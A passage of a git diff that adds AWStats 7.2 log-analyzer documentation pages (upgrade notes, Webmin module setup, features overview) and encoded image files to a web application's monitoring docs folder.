Linux, .exe for MS Windows).<br> +<br> +Migrating to 6.x versions from earlier versions, observe the following additional notes:<br> +<u>i.</u> As of AWStats 6.9+, Perl version is 5.007 or +higher is required. To see the version number, run the command <i>perl +-v</i> +from your operating system's command line.<br> +<span style="text-decoration: underline;">ii</span>. If you use the <a href="awstats_extra.html#Extra">ExtraSections</a> feature, you +must check that the parameter(s) ExtraSectionConditionX uses a full +REGEX syntax (with the 5.x series, this parameter could contain simple +string values). If you don't update your configuration, the feature +will be broken. +<br> +<u>iii</u>. If you use the <a href="awstats_config.html#MiscTrackerUrl">MiscTrackerUrl</a> +feature, you must check +that your <a href="awstats_config.html#ShowMiscStats">ShowMiscStats</a> parameter is set to "ajdfrqwp" in addition to +setting up <a href="awstats_config.html#MiscTrackerUrl">MiscTrackerUrl</a> tags and a JavaScript include for your web +site. Otherwise the new default value "a" will be used (only the "Add +to favorites" will be reported). +<br> +<u>iv</u>. The MaxLengthOfURL parameter has been renamed +<a href="awstats_config.html#MiscTrackerUrl">MaxLengthOfShownURL</a>; +update your configuration file accordingly. +<br> +<u>v</u>. To enable the worm +detection feature (not enabled by default), you must add +the parameter <a href="awstats_config.html#MiscTrackerUrl">LevelForWormsDetection</a>=2 +in your configuration file. +<br> +<u>vi</u>. If you use the <span style="font-weight: italic;">urlalias</span> +or <span style="font-weight: italic;">userinfo</span> plugins, you must +move the urlalias.*.txt +or userinfo.*.txt file from the Plugins directory to the DirData +directory. +<br> +<br> +4. <b>Convert your AWStats history files when migrating from 3.x or +4.x +versions to 5.x or higher</b>.<br> +If you upgrade from the 3.x or 4.x +series to 5.x or higher, AWStats will still be able to 'read' your +old history files but +a warning may appear to ask you to run the 'migrate' process on your +old data files. +Just run the command that will appear in warning message. +This warning will only appear if data migration is necessary after an +upgrade from the 3.x or 4.x series to a +5.x or higher +version.<br> +<br> +5. <b>Review new feature </b><b> default </b><b>settings</b>.<br> +Sometimes new feature parameters are introduced in a new AWStats +version. AWStats will +use default values for them, maintaining backward compatibility with +your existing AWStats configuration. However, you can review the +"New Features / Change Log" to see how you might change the new +feature's +behavior.<br> +<br> +<br> + +<hr> +<script language="javascript"> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_webmin.html b/src/main/webapp/monitoramento/docs/awstats_webmin.html new file mode 100644 index 0000000..dc944ad --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_webmin.html @@ -0,0 +1,87 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - Using AWStats Webmin module"> +<meta name="keywords" content="awstats, awstat, webmin, module, wbm"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - AWStats Webmin module"> +<title>AWStats Documentation - AWStats Webmin module</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.19 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">AWStats Webmin module</H1> + +This page is designed to help users of the 'Webmin' administration +tool (<a href="http://www.webmin.com">www.webmin.com</a>) to manage their AWStats config/tools. +If you don't use it, you don't need to read what is described here.<br> +<ul> +<li>Adding the AWStats Webmin module to Webmin interface<br> +<li>Setup of the AWStats Webmin module<br> +<li>Using the AWStats Webmin module<br> +</ul> +<br> + +<br><a name="ADDMODULE"><H2 style="font: 22px arial,helvetica,sans-serif color: #606060"><u>Adding the AWStats Webmin module to Webmin interface</u></H2></a> +<li> Run Webmin, go to "Webmin Configuration".<br> +<li> Click on "Webmin Modules".<br> +<li> Enter in the "Install module", the path of the awstats-x.x.wbm file (this file is provided +with AWStats in <i>tools/webmin</i> directory or can be downloaded separately from AWStats +web site) and click "Install module".<br> +After that a new entry "AWStats LogFile Analysis" should appear in your Webmin menu.<br> +<br> + + +<br><a name="SETUPMODULE"><H2 style="font: 22px arial,helvetica,sans-serif color: #606060"><u>Setup of the AWStats Webmin module</u></H2></a> +<li> Run Webmin, go to the "AWStats LogFile Analysis" menu.<br> +<li> Click on the "Module configuration".<br> +<li> You must now enter here values for:<br> +- Absolute filesystem path to AWStats (CLI)<br> +It's the full path of the <i>awstats.pl</i> script. Path depends on package you use.<br> +It could be <i>/usr/local/awstats/wwwroot/cgi-bin/awstats.pl</i><br> +- Absolute or relative URL path to AWStats (CGI)<br> +It's absolute or relative URL you must enter to run AWStats as a CGI. This depends on the way +you setup your web server and cgi directories.<br> +It could be <i>/cgi-bin/awstats.pl</i> or <i>http://127.0.0.1/awstats/awstats.pl</i>.<br> +- Sample AWStats configuration file<br> +This is the sample file used to create a new config file.<br> +In most cases it must be <i>/etc/awstats/awstats.model.conf</i>.<br> +<br> + + +<br><a name="USEMODULE"><H2 style="font: 22px arial,helvetica,sans-serif color: #606060"><u>Using the AWStats Webmin module</u></H2></a> +<li> Just run Webmin, go to the "AWStats LogFile Analysis" menu.<br> +<li> You can now, add, edit or delete config files.<br> +<li> You can also update or view statistics for a particular config file.<br> +<br> + +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_what.html b/src/main/webapp/monitoramento/docs/awstats_what.html new file mode 100644 index 0000000..3a38031 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_what.html @@ -0,0 +1,199 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - What is AWStats, features"> +<meta name="keywords" content="awstats, awstat, features, function"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - What is AWStats"> + +<title>AWStats Documentation - What is AWStats</title><link rel="stylesheet" href="styles.css" type="text/css"><!-- $Revision: 1.64 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --></head> + +<body topmargin="10" leftmargin="5"> + +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> + +<!-- Large --> +<tbody> +<tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo4.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> + <td align="center" bgcolor="#9999cc"> </td> +</tr> + </tbody> +</table> +<br> +<br> +<h1 style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">What +is AWStats / Features Overview<br> +</h1> +<br> +<br> +AWStats is short for <span style="text-decoration: underline;">A</span>dvanced +<span style="text-decoration: underline;">W</span>eb <span style="text-decoration: underline;">Stat</span>istic<span style="text-decoration: underline;">s</span>. <b>AWStats is </b><b>powerful +log analyzer which creates advanced web, ftp, mail and streaming +server statistics reports</b> based on the rich data contained in +server logs. Data is graphically presented in <b>easy to read +web pages</b>. + +<br><br> +AWStats development started in 1997 and is still developed today by same author (Laurent Destailleur). +However, development is now only "maintenance" or small new features because author spend, since July 2008, most of his time as project leader on another major OpenSource projet called <a href="http://www.dolibarr.org">Dolibarr ERP & CRM</a>. +But a lot of other developers maintains the software, above all for Linux distributions (fedora, debian, ubuntu...).<br> +<br> +Designed with flexibility in mind, AWStats can be run through a web +browser <b>CGI (</b>common +gateway interface) or directly from the operating system<b> command line</b>. +Through the use of intermediary data base files, AWStats is able to +quickly process large log files, as often desired. +With support for both standard and custom log format definitions, +AWStats can analyze log files from Apache (NCSA combined/XLF/ELF or +common/CLF log +format), +Microsoft's IIS (W3C log format), +WebStar and most web, proxy, wap and streaming media servers as well as +ftp and mail server logs.<br> +<br> +See how the most famous open source statistics tools (AWStats, Analog, +Webalizer) stack up feature by feature in this <a href="awstats_compare.html#COMPARISON">comparison +table</a>.<br> +<br> +AWStats is free software distributed under the <a href="http://www.gnu.org/copyleft/gpl.html" target="_gnugpl">GNU +General Public License</a>. The <a href="awstats_license.html">license +chart</a> illustrates what you +can and cannot do.<br> +As AWStats works from the command line as well as a CGI, it is +compatible with <a href="awstats_whp.html">web hosting providers +which allow CGI and log access</a>.<br> +<br> +<br> +<a name="FEATURES"></a><br> +<font color="#665544" size="3"><b>Features</b></font><br> +<hr> AWStats' reports include a wide range of information on your +web site usage:<br> +* Number of <u>Visits</u>, and number +of <u>Unique visitors</u>.<br> +* <u>Visit duration</u> and +latest visits.<br> +* <u>Authenticated Users</u>, and +latest authenticated visits.<br> +* Usage by <u>Months</u>, <u>Days</u> of week and <u>Hours</u> of the day (pages, hits, KB).<br> +* <u>Domains/countries</u> (and regions, cities and ISP with <a href="http://www.maxmind.com/en/city?rId=awstats">Maxmind proprietary geo databases</a>) of +visitor's hosts (pages, hits, KB, <font color="#221188">269 +domains/countries detected</font>).<br> +* <u>Hosts list</u>, latest visits +and unresolved IP addresses list.<br> +* <u>Most viewed</u>, <u>Entry</u> and <u>Exit</u> pages.<br> +* Most commonly requested <u>File</u> +types.<br> +* <u>Web Compression statistics</u> +(for Apache servers using mod_gzip or +mod_deflate modules).<br> +* Visitor's <u>Browsers</u> (pages, +hits, KB for each browser, each +version, <font color="#221188">123 browsers</font> detected: Web, Wap, +Streaming Media browsers..., around <font color="#221188">482</font> with the "phone browsers" database).<br> +* Visitor's <u>Operating Systems</u> +(pages, hits, KB for each OS, <font color="#221188">45 +OS detected</font>).<br> +* <u>Robots</u> visits, including +search engine crawlers (<font color="#221188">381 robots detected</font>).<br>* Track <span style="text-decoration: underline;">Downloads</span> such as PDFs, compressed files and others<br> +* <u>Search engines</u>, <u>Keywords</u> and <u>Phrases</u> used to +find your site (<font color="#221188">The 122 most famous search +engines are detected like Yahoo, Google, Altavista, etc...</font>)<br> +* <u>HTTP Errors</u> (Page Not Found +with latest referrer, ...).<br> +* <u>User defined reports</u> based +on url, url parameters, +referrer (referer) fields extend AWStats' capabilities to provide even +greater technical and marketing information.<br> +* Number of times your site is added to <u>Bookmarks / Favorites</u>.<br> +* <u>Screen size</u> (to capture +this, some HTML tags must be added to +a site's home page).<br> +* Ratio of integrated <u>Browser Support +</u>for: Java, Flash, Real G2 player, +Quicktime reader, PDF reader, WMA reader (as above, requires insertion +of HTML tags in site's home page).<br> +* <u>Cluster distribution</u> for +load balanced servers.<br> +<br> +<b>In addition, AWStats provides the following</b>:<br> +* Wide range of log formats. AWStats can analyze: Apache NCSA +combined +(XLF/ELF) or common (CLF) log +files, Microsoft IIS log files (W3C), WebStar +native log files and other web, proxy, wap, streaming media, ftp and +mail server log files. See <a href="awstats_faq.html#LOGFORMAT">AWStats +F.A.Q.</a> for examples.<br> +* Reports can be run from the operating system command line and from a +web browser as a +CGI (common gateway interface). In CGI mode, dynamic filter +capabilities are available for many charts.<br> +* Statistics update can be run from a web browser as well as +scheduled for automatic processing.<br> +* Unlimited log file size<br> +* Load balancing system split log files.<br> +* Support 'nearly sorted' log files, even for entry and exit pages.<br> +* Reverse DNS lookup before or during analysis; supports DNS cache +files.<br> +* Country detection from IP location (geoip) or domain name.<br> +* Plugins for US/Canadian Regions, Cities and major countries regions, ISP and/or Organizations reports +(require non free third product <a href="http://www.maxmind.com/en/city?rId=awstats">geoipregion</a>, <a href="http://www.maxmind.com/en/city?rId=awstats">geoipcity</a>, <a href="http://www.maxmind.com/en/city?rId=awstats">geoipisp</a> and/or <a href="http://www.maxmind.com/en/city?rId=awstats">geoiporg</a> database).<br> +* WhoIS lookup links.<br> +* Vast array of configurable options/filters and plugins supported.<br> +* Modular design supports inclusion of addition features via plugins.<br> +* Multi-named web sites supported (virtual servers, great for +web-hosting providers).<br> +<!-- * Yearly, monthly and daily statistics,<br> --> * Cross Site +Scripting Attacks protection.<br> +* Reports available in many international languages. See <a href="awstats_faq.html#LANG">AWStats F.A.Q.</a> for full list. +Users can provide files for additional languages not yet available.<br> +* No need for esoteric perl libraries. AWStats works with all basic +perl interpreters.<br> +* Dynamic reports through a CGI interface.<br> +* Static reports in one or framed HTML or XHTML pages; experimental PDF +export through 3rd party "htmldoc" software.<br> +* Customize look and color scheme to match your site design; with or +without CSS (cascading style sheets).<br> +* Help and HTML tooltips available in reports.<br> +* Easy to use - all configuration directives are confined to one file +for each site.<br> +* Analysis database can be stored in XML format for easier use by external +applications, like XSLT processing (one xslt transform example provided).<br> +* A Webmin module is supplied.<br> +* Absolutely free (even for web hosting providers); source code is +included (<a href="awstats_license.html">GNU General Public License</a>).<br> +* Works on all platforms with Perl support.<br> +* AWStats has a <a href="pad_awstats.xml" target="_newawstats">XML +Portable Application Description</a>.<br> +<br> + <b>Requirements</b>:<br> +AWStats usage has the following requirements:<br> +* You must have access to the server logs for the reporting you want to +perform +(web/ftp/mail).<br> +* You must be able to run perl scripts (.pl files) from command line +and/or as a CGI. If not, you can solve this by downloading latest +Perl version at <a href="http://www.activestate.com/ActivePerl/">ActivePerl</a> +(<font color="#221188">Win32</font>) or <a href="http://www.perl.com/pub/language/info/software.html">Perl.com</a> +(<font color="#221188">Unix/Linux/Other</font>).<br> +See <a href="awstats_faq.html#SERVERSOS">AWStats F.A.Q.</a> for +examples of supported OS and Web servers.<br> +<br> + + +<hr> +<script language="javascript"> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script><!-- +First version of this tool was designed to analyze folowing web sites: +--> +<a href="http://www.chiensderace.com"> </a> +<a href="http://www.chatsderace.com"> </a> + + +</body></html> diff --git a/src/main/webapp/monitoramento/docs/images/awstats.gif b/src/main/webapp/monitoramento/docs/images/awstats.gif new file mode 100644 index 0000000000000000000000000000000000000000..24a55fe45325794cbae8677bd220c22dd709cf3c GIT binary patch literal 1136 zcmZ?wbh9u|RA5kG_`aIKE2!ElsKqO)Cn%^oD5xbUsyZmDB`B&VC~8Vj)SRHGr9sKZ zqN0kUqFSPoTcVPCqLQaXB`=LiUK^FXH!6E;RQBGe>|;^c=aQqMl9P**ldF@HTauG| zl9Q(-XZIv$?@i7=mRx);J1QzWxg|ThB|Ez(J9|oY_TKE`bJ^9`ii@WdSMM#ZzE+(a zRGl4Eot<1=TwPr~r@H!Bb<5W3mc7+2=US>;T3WWYv>a>cS=!Qbtfl8#PxX|ZmY$xL zwLLv^dV2QuOgYyx<zCO6dsC{XOlfJE($h1idheW;>^VJi=FB-aXX&{)OYbdh$zIx% zy>!abrAzlNU3zZqlqqZ1?p?d~+}0`8Tjx}7UAlJb(sNt49^1P0+}6GK_Rgu^yR>ER z(m8wAUfa9(+TOj-_a3{q_t^7eOP3y7JLTBgrN@q4J6C+{T=ltgEyvFF96L8<?YSxE z&aLe^w|36Cty9i{%-VbI+_iJ(?wvdL{M@zo*ILe9>p6FA%DHQE&Rv^x?b_07*S7Xt z+dJplwR_jDJ->GE{k=KY?k&A`Z|${vYwz9L+H-H~y?cA7+}k_n-m$Iso_~M7_1^Qn z_nz;4{`}aS=g00nKlc3jx#!QXoqK-o+Vki4o`b;q=g+@CfB*gcxux&VJ%4}h{rhY0 z-`_j;{@%6s_ujvM{{H>@@86$)|Nj0v82tbK|NsB*@Be@Q4rcuynSg<T;s5{tia%Kx z85kHCbU*|sPq1_RXJF)z@z}87U^9oXR?LYF3lFyoD0|KE*tqCuNBW|Mh0X%L3%leL z{%8ar^O0c4;@BGL!I8+wY`dgl=FN8B({8$)LZ?=y`}#GhvSnx(F`t-fQ715$WkLIc zc~coaY-zDFINiXcKc}Qo*nOgm{XCXWCp*=i&vRoc7wQRQaOPHt{dHuf%W}54OIx^> zdU}X9Ff%K~C_KF6F1$3zX~q@76=@R=ZDi(^&^W-*CTiZVrYqExlzDhQ56^^x0}H#P zT`bBra6J6^VA}Qd{d<;OdeG3x$629LS@g)cmD4fKec?uyGt(NQUumrW%<3&`rOaYe zQE;G5P~KdtCSt-KKM_{#DOY?meJAiYn7OEUw*{uQ^$3Uu3B(+lz(3EqMQTNPLK73m zk0+)j9S*@O(ixZpe{4VO8X(cJfKQxL#EnlnWr35JVA_g@Z8Bvq9=0pEi3l)Q0{|60 B)w2Kq literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats.ico b/src/main/webapp/monitoramento/docs/images/awstats.ico new file mode 100644 index 0000000000000000000000000000000000000000..af8fdc900d739481f4a75eda63bf4982a498daab GIT binary patch literal 8166 zcmZQzU}Run5D;JhgA7&%1~&!<1_cF(zzZe@hIOnUK3JMz1qTDeG!6y^0|O|ZkAcBX zkbyyifq?;}LxBNg9tT*`fe}n$5JJ4%43BqjWw`t7D??6P0s|idKg0jK{~7MCe!^g& zX~-ZZB+M{7JDFi#-%N&03)V8sIsAa(#iid2{6azuow<DsW*Vjp*H+zTxViiugOr3c z!_oP37-AE07^)WUWthMB2E*lZ_ZY5Uy~7|W$iZ-C#bt(uh<b+J)X5CBv2_e)`qm6{ za}pR*;!_!_rmSX|cKj{FkN^J}-b`#|sL0P}kYJN%FxRtXuro7Z=qfK{C`^f9*fn7V zLqT#ZLuXth!_2~5h8d-G46`?1U^rcn$#6D5fnn$D=?ulmaSZvPz6=u@>lkcJjTt63 zw=lF;RWNLwxPoEp!u1UOnOO||$q@|gd3g-;W-enmQD4e%uOykFtf+{gwX}>O)!dMw zyS#$I%hr}bU&Vmo^!$qqGg~GybjAcQv?qiytjdUGxK^6RaIC+RVe`}}3`^@P7-p9g zGOX`zXZZjBKf}%PeHh_9Dli%X!z2Wln3#}#671t+3>V;&GxgEuGErk<U<hOg3=EVD z)YrH7HZ~Cz6%_?3l4H=fvodlr0n0Nm$ni1wuqg8~t1&UiF)+x12s<%lBS|X;204%b z9|HrEzBi9VAcGtOpB%*2Kr15&uu2G*fq}_N5~LBvC7%BOpMe2}|JgGz{E=s1c)$zM z|ALo+;RH7WLxdy)!weAyhCkvA4FB{I>OuNI<t(U-bpV&MEMScdAYX!6=tKhpLjwZ? zLqh|EVrT#{84escz|hbDk^nh|0c^p45XJBx>NXG$-K>G&b40X&oC&wOBg3Nu&S5X$ zXldzaDS!#E->nGi=<sld@oU*zGa@S5PcSeXU|?V<FR!U-Yw4(P>nJbpXlLN5skwgK zBckJYL`h9e56BGm3k)4?9px1s1q|#UBX|oKT3SJhL6Qs%47>~sEgc=@<)sDe7Z@0> zGhAn2=;&xKFRv)5tz}@SWw^k=Py$k4&TxVKIs-#*0RsaESOLQY241L{9v$WF<-7$9 zAjKd%I65lId22x|D6VJ+84cwOB=w&V_#yxQ{|Em6{}R~$|6^eO|EGcZ{s9IC<^~1^ z_MZnB-~T+o`2Y6-#`(qv82QZ)Fee{>z+CzM15@q)9~}Sx|FI!t`hV1P4rxy`K$1Ho zSfFi->L4$MmLM;No+vMd>YyNomY^Vp>Zl-wmZ%_xo~R&(DN#WTbE1M6mPQ3J97_&j zD2|F^XaV8mD2AToD26G?Q4C9yqZrmEM=|V8j$+uF9mTLWJBs00b`-<8>?nq)sAPuX z<Yb2G<Yb1H<Yb1P<Ya~^AUZplVQ+Ra!?EmShI7Tq3{g?p3@ypo3@zE&3_aP|3{$eR z8TMvpGn^~VX1G?J%`m07m|<^qF~ha$VuqmPYKEZfYKG+OYKH3KYKA%0)eOg~s~NVo zR5R>tsb)CWQq9m(-NLZ7rG?>GOAEu&o)(5<JuM8^dRiE!RQE9SwDd5nZRuf{)6>JS zx2K2U+>{=Mdmucghha+f6o!_TDGWV5QyBJE&tb@JnZq!rXAZ-;Idd4!EuF(~Zz)J@ zDMNP8Qii2dmNM*Jx|HGE(xnVjrmSVyyLK(ZxwUH<s;6vasGhTxVeQhb4Cj_^WjMBV zE5o_1TN&={1&QxvXj!_KVb0RM4A<7~Ww^F?FT?Y_dl~K>+sp9$*j|REOOG*3S$m9O z>Dprq*Nz=yI97a);av4OhGQ+~7>@OvV^}-o9K*RO=NNj{o@1D^_8h~Mt>+k)Zav4a zck4NZYv;}}+&g!U;rY394DYX<V>s7xjp1C+HHLFjt}&dObB*B|2rs?H(6jX#!<@a> z817xW#_;^wHHP>1KyvpOt}VUCaBb~9hI?!8G4yP`$8c}!J%%ZJ?=j5Tdyir3v3m^P zpM%7nGu+$zoZ<Q2=L~a>J!iOg>^Z}85I*;u;oP<74A<^GXSnzLIm7ek&l%o7f6nk7 zgx^1BSbFX~!}D|R8Qz2Nwf79??!9NYcJDpIdk}v9p5goZ_YB{ke`omq{yW3>@822z zgYf_F4DY}HXZZg8Kf`|z{tqf&M=_|qN+|{v0w6Q~jRHgnBw9*KYDFUWXsiG>Ha0d6 zK`S(2Ft`2RzhH>8h=Mg(1cj)nXm8<VV`Jk}6H!nUPehReacchMx`4DBgc=(uife*| zyg|gjf6=9-rKRx^r6tNt{QT@@Zg%FP^4!s-rGZ@9UZsiu{zZd;dvtUNFT0v7r;Vq- zy1b~cV{~+&iFZOY#E5_YTK@g}$HS(=Cli|2VPUPKh~|JAkUSe3D~~}~UjO87Ck-_D zT#z|@Y)X0_F}1U%EOqiJ{r4}c86^0xy7%9|7LfLThO8309<jBBlS@oX694^cY0U&H zsA%~I*8VS&nN{B}wxF=9sBYfBe;_L}!1}7P!PLKhs?1WZ#tz|ybsdTS{#AiASA%sz zrT_h7WwQ;6i;JtxY5CU+5ro(bQVPa$0`{q?X^H=`TEH5?Vkks<U_uE<AfpvTj^cm+ z2sR|3?Uet}cFMm7=KBo{42%s749tHIF#bnsr}R%hz-$a{r__+rP5}*tB!JuF&~^$J zsB}WbqwSQ@cFJfwW#qMeK&8NFJ7u({A}$0HL4Y`=|Ni}p)Z$}c=HatMYwh6DZ_mcY zz{bGF!6^@JL*P;d6W3y6Wn^Vz;}8%M5{-fhVx!x^jTL){a(0k%1&uOn3ZY^Z8CC!O zMY6H7fs7Xr5)oBURMdgWVWTqIGjiKiK*lq&8JKB_Dkx}(V`+lIw6?eWYtQg!WoBb# zV`DS(3sNxEP*f1dZ9zu+zkibqSQ*)*S=ppLLQ~ECO%)Zz#lb#Ec5q09g>HzKHyE0G zd3k%wvNH+D3NQ(1X&Gv(s|yJU2|0jdwYj*sxE#G3KyHch4h-}T3^aEL4D@#3<KU20 z6X1}wv9Y%VD;LrR$!c?Pc?YJ0RKsvP$T|NKby-=o%=p;NV)8obv^6v|6vdsuDiYz& z0dxQTn~)7+B=WGaN=vhGc!b5)c6gaOnJOxJfy6O!)+CTvA}bpM8!H>XUrb&{e^*qu zvxXwHxek&=#u;EvA}=c&tCFsnUu<5-ta;N`CMuXZgCyG9K_n6eHH-iK`<KYi$|9kw z=MfrP+cB$t;Zh$bQ`3L{{<UX-eFswC0(SR57~hbQ6{0?`qp)~snNFf9DA=>xt1>2l zRD-lu{`>cDQWk{wFOq?k2Wo!!<l+#ke6acqkh*M$o7yw7|NYB`>i$>H#>~v4?-3T0 znqSxz*wtAJG9Hp}VQy;A$c6+y*a|ylW@ZDwAae(Y)Xu`rf&!3wNZ9?Wf;zfA1C)@# zs{j2<<Yi`-GSf152oH}d$cGpYRrjww1Dr$twL|<2(GkhYz-t>6l<J=vS6iC{@>dna z;h=DWvmk20WF#|#tZh(UZC+ezS9?a*KX}-IWw8+HTI>S$acObk^AkZ%fTR>G>JUQd zcIIAQkR;ZgkpWIA2uT90c1TJgpbAMEn;(&+N14Ma1R(u1&{PA6MNRsTJZN6z|Njr{ z5c&Z#gg(Fsrk^)J<}@CI>||j0|A2v^9yIN70!p7@V6c&gOc5|JLuq~nhW|1Q40iSm z4F7Ey80<mnVRQ`xgUx>ihJQ5-3>Nha40d%43>Nkb3^M;17_9jj7<&FOFccqWU^wuf zfuZ;@1H;4r3=EGyGBAAp-@x$vC&/}7!J{eQs352k;xL+Jni=Y#qG|KEqwVE2Q9 Hiwb-I@1x;7 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats.png b/src/main/webapp/monitoramento/docs/images/awstats.png new file mode 100644 index 0000000000000000000000000000000000000000..8dd493133bbdb7b7c81a46ba4fb371b6026b546e GIT binary patch literal 1247 zcmeAS@N?(olHy`uVBq!ia0y~yU@!n-4rT@hhJ-tuTNxM_{{{Gjxc>kD-z%uaE2<|b zs5&U9B`B&oD5@nWswXIFN>J3Cps1x@LDf-F#Zgf$QOPY)$vsiYQ=*cWMkTL}O5Pil zy)`O(Z&dcNsO)peQBlds#mULl$;mCr$vw%*Q<AfLlC$?FXCF&0K9?O8m7Uy@o!ye1 z-IJX?B|Cd>cJaCF>TAWtQ;Mti7FS=ZP7bQh4yw*ht}d>wuAWm}eXP1=Yjw-s>XvgY z)h#V8TU%O=we&1)={eTYbFHU(N>58qPs`e#o;f`|dwZsw>zQ(|XU@GT)l;Ulv`p#g znNz)YPD}Qjo;h>ooSU=s+?=KNmbPRs?a5v`W$DtTdzUUfw|2^uwQKjTU3+fpl<KW> zs<$p(yLIWgty_<6-Fj~8-g|rJRPSBdvUlm6y=$-S-Ft2C-sgLd-P?QY`LU%-kFA|@ zZ0*ux$F7|#K6bA9+_{!x=X#Evo3i%Ylym3S_MBTg=iJsQ=RjudJ$LTfxpVi<oqK-n z+WTuQ=dSgfyEf(AwK?am&AE1M>9uQHd#>%BbM4x_YuBD%yZ8RyoNM=%Uc0yU+P$^+ z?rrV4xAoq=y;JV(opbNl)_c#tKi_)q`QCfa_db7qY|isz_nsen{`}nY=hx0Xzjy8V z^Lx)h;QjOG-=Dw#{{Gz3_vfC!KllFqwfFDuoqK=p+WUL&-#>r<{{8pw&%b|v{~Zke zfB*mg|M&O*zkl!h8s@>kz`$4%<QL4~@a#q!h?C^)?!wT)Dhra~EbxddW?<kJ24O~q zS#u;97#P?~Jbhi+ud&Mshzsz!&s)R5z!c@_;uzv_{B6kn>{|gMeZKEajjyrIT;h{* zQX;!!*Ufept6Q^fiW@oy-s-x<Ient(i&y+sDU)};bL`mF-q~#XB{7-5_D22A*>`S4 zdabSfuJXk0&imc>fBK!X71`R8x+C$fc)lKk)lKiT%^ZsC`F`(OPRHqm)`si;b(5&K zT6e!u|8h>s_8TuuR~<WHlr55auORX4yg;@$xAHb-Jn79^|6T6!%6Fm%H^oG!edp@G zmho$%mipG9mAA6Kb?|1t`aead^!5H%a=w>4V+>bj9@}7>vo*)9_r^ORkz>IjwQnAs zSM>cIpVHUYn^qkn!Q0tVyutEl{h|Awxvv^n|NZ!U=Hcvn3%)#l^B^^Nqomr&!;W7% zA7=VR%WZflAl3ZsW~zFdjMLp$vmU>0{dGru+Vz94+Ey17{(JtZG%C;|GH=SYl57@* z3Zd}gh=-4^pWp8h@Gbq7rSuXZ4hJ!&9rLX7c=q*c-T$T<xc}+@No)>v9ETE5r1TZ| zMXIjtNcwhd*_O~inKh@f4y;aU)erQX<YMPrRBAQR#Z_PA!|W>`7O_gGed<Y8vbJ9N z_Ur=Lz-seXpI^2LPcN8obuN4PmUZrXv}0PLAEs1l?|NxqQq3=1voHMD_1C3`EPaIz zFdt@UGj4Y?>X-dcbNpWQ>P%xx-`Fo3C)zA1oT?B~?CLntrLq6)P7bwqZm%_2<kn0I zcsfDB!>0e4fZeUwxMNImYYwu?x3L8FoZb7*FL+rFC&%6x0|}ue=a_^Y)Oe1ig@{S% zXm<Q=Zavd{TwYAZHP!OKrGE#^qH3xXTLhx`{-)kh|Hl~MHGO)gT(&6#0|SGntDnm{ Hr-UW|qUn~j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo1.gif b/src/main/webapp/monitoramento/docs/images/awstats_logo1.gif new file mode 100644 index 0000000000000000000000000000000000000000..425e12987410c8758dcad49a844a00fc47f9da64 GIT binary patch literal 2507 zcmZ?wbhEHb%x5rW_|Cxa|NsBBYqw79TUB1(6%|z+6%<vR98{MP(ovRCTwL7J(lcky z+WPvQps1FhsA{jEYCpg7)YQhMOSficxA+D11Vv5pikgy~ymZdetwB*eQOR?nl9vWW zEzK?16cyDHmAp18d+VG9r=rp~#%1rVZ#j2t?XhD$dwZr#NiIH?oPF+C(AK?%Ta$~= zWfz}2w)EIu&8>UAw(gbKdaQVFRQ9=JQG1W=J$5X4@3EG>dlk1H+j^{}x}`X~zOS~l zxcc0&DSP)?Ze6=}ZE{q0P*8PLRL`82^rbz;Yo`>iol@OgzkO*>_S&A}y>nXD&Y80} zYVEP5Ehkp?&6%@w@6xqfm##fF=U8@B)ZV2n=hpV@T{<Vb`rMShgZK7M*_*w0@7`nS z$?3^apuq5oYVl8PODb;himIN_RXwMtc<GelwR5Vs&S|-}bxv~ix#E^{*S1cHDn1vK zeQxR2z4__c6FNG#&Z)k)ch2);bB?WDJEv#L)}?#5F5OyQf2p|o+TJ<U*S7Yw_1<`Y 